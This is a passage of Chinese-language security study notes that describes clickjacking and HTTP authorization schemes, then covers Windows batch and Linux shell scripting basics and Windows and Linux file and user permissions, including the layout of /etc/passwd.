7、点击劫持:通过点击劫持,恶意网站会在以下位置加载目标网站: 透明 iFrame(参见 [ iFrame ])覆盖在一组虚拟的顶部 精心构造的按钮直接放置在 目标站点上的重要按钮。当用户单击可见的 按钮,他们实际上是在单击一个按钮(例如“授权” 按钮)在隐藏页面上。
#Authorization头
参考:https://juejin.cn/post/7300812626279251987
授权方案:
1、Basic认证
2、Digest认证
3、Bearer认证
4、JWT认证
5、API密钥认证
6、双因素认证
7、其他一些认证方式
安全漏洞问题:
JWT攻防,Token劫持等
四十、Windows&Linux-脚本开发-Bat&Shell
#系统命令集合
在线参考:网站介绍 - RedTeam And Command
#Windows Cmd&PowerShell
CMD命令终端:
VBS BAT格式文件
echo
@字符放在命令前将关闭该命令回显,无论此时echo是否为打开状态
@echo off @echo on echo "hello" echo "hello" "world"
常见
pause 将dos界面暂停关闭
:: 注释
chcp 65001 乱码解决
变量
set x=hello set y=world echo %x% %y% set /p input=请输入: %cd% 打印当前路径
函数
fun_main
start 调用其他程序,如可执行文件exe
goto 用于函数跳转,其中特别的是goto :eof 可用于停止往下继续执行命令行
call 用于调用函数,也可以调用别的bat脚本
for
dir /b 指定目录 这个语法可以用于获得指定目录下的所有文件和文件夹
for /f 遍历指定目录下所有的文件和文件夹
for /d 遍历指定目录下所有的文件夹
for /r 遍历指定目录下所有的文件和子文件夹中的文件
for /l 是Windows批处理脚本中的一种循环语句,用于按数字范围和步长进行循环
%%i 则是声明的变量,可以是任意的变量名,但变量名前面必须加上两个百分号%%
for 进阶 delims(分隔符),读取的字符串会以这些分隔符进行拆分成多个子字符串
FIND
/V 显示所有未包含指定字符串的行。
/C 仅显示包含字符串行的次数。
/N 显示行号。
/I 搜索字符串时忽略大小写。
/OFF[LINE]:不要跳过具有脱机属性集的文件。
"string":指定要搜索的文本字符串。
drive:filename:指定要搜索的文件
bat中比较符号
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于
常用特殊符号
命令管道符 |
转义字符 ^
&、&&、||
&符号:允许在一行中使用2个以上不同的命令,如果第一个命令执行失败时,并不会影响到后面的命令执行,执行顺序是从左到右
||符号:与&&符号一样,可以同时执行多条命令,但是不同的是,当第一条命令执行失败才执行第二条命令,当碰到执行正确的命令将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令
,逗号相当与空格
简易案例
1、获取目录下所有文件目录
2、用Ping获取网段存活主机
3、获取计算机信息筛选补丁
#Linux Shell编程入门
基础命令:首先,你需要熟悉一些基本的Linux命令,如ls、cd、cp、mv、rm等,这些是编写脚本的基础。
文件系统:了解Linux文件系统结构和权限管理,知道如何使用chmod、chown等命令。
环境变量:理解环境变量的概念和用法,以及如何使用export、echo $VAR_NAME等命令。
重定向和管道:学习如何使用输入输出重定向(>、<、>>)和管道(|)。
脚本基础:脚本的创建和执行。
脚本的第一行(shebang,如#!/bin/bash)。
脚本的注释(以#开头)。
变量:如何定义和使用变量。
特殊变量(如$0、$1、$@、$#等)。
条件语句:学习如何使用if、elif、else和fi来编写条件逻辑。
循环:掌握for循环和while循环的用法。
函数:了解如何定义和调用函数。
文本处理:学习使用文本处理工具,如grep、sed、awk等。
参考学习:https://mp.weixin.qq.com/s/qXZkKrF1vYtJv07L0-hkAA
简易案例
1、统计登录日志中SSH爆破事件
2、统计Web日志中的SQL攻击事件
四十一、Windows&Linux-权限差异-文件&用户
#Windows权限
文件和目录权限
完全控制,修改,读取和执行,列出文件夹内容,读取,写入,拒绝等
完全控制(Full Control):允许用户对文件夹、子文件夹、文件进行全权控制,包括修改资源的权限、获取资源的所有者、删除资源的权限等。
修改(Modify):允许用户修改或删除资源,同时拥有写入及读取和运行权限。
读取和运行(Read & Execute):允许用户拥有读取和列出资源目录的权限,另外也允许用户在资源中进行移动和遍历。
列出文件夹目录(List Folder Contents):允许用户查看资源中的子文件夹与文件名称。
读取(Read):允许用户查看该文件夹中的文件及子文件夹,也允许查看该文件夹的属性、所有者和拥有的权限等。
写入(Write):允许用户在该文件夹中创建新的文件和子文件夹,也可以改变文件夹的属性、查看文件夹的所有者和权限等。
用户和用户组权限
Windows用户组
内置用户组:如管理员组(Administrators)、普通用户组(Users)、备份操作组(Backup Operators)等。这些组根据预设的权限执行任务。
特殊权限用户:系统还设有如System、TrustedInstaller、Everyone等特殊权限用户,这些用户不属于任何内置用户组,具有独立的权限。
#Linux权限
uid分配原则
0:管理员
1-999:系统内部账号,维护系统服务
1000-65534:普通账号,可以登录
/etc/passwd文件解读
root:登录的用户名
x:登录该用户时是否需要输入密码,x表示需要使用密码,空代表不需要密码
0:uid,用户ID,系统识别用户的唯一标识
0:gid,组ID,
root:用户描述信息,可以自定义
/root:用户的家目录,存放个人文件,登录该用户时默认进入该目录
/bin/bash:用户的登录shell,登录系统以后所执行的shell文件,登录此用户时默认打开的shell类型bash shell
/etc/group文件解读
erik:组名
x:登录该组时是否需要密码,x表示需要密码,空表示不需要密码
1000:组ID
:erik 表示组内的成员erik
某个文件或者目录的权限
d:表示目录
-:表示普通文件,二进制文件、文本文件、压缩包等
l:表示链接文件,快捷方式
c:表示字符设备,键盘鼠标等设备
b:表示块设备,存数据的设备
rwx:表示文件拥有人的权限
r-x:表示文件拥有组的权限,即为组内用户的权限
r-x:表示其他人的权限
2:如果是文件则表示文件硬链接数量;如果是目录则表示该目录下有几个子目录
root:表示文件的拥有人
root:表示文件的拥有组
文件的权限
r:read,查看文件内容
w:write,编辑文件内容
x:execute,执行该文件
目录的权限
r:能够列出目录下面的文件
w:能够在该目录下创建和删除文件(能否删除文件取决于用户对该文件所在目录的权限)
x:能进入该目录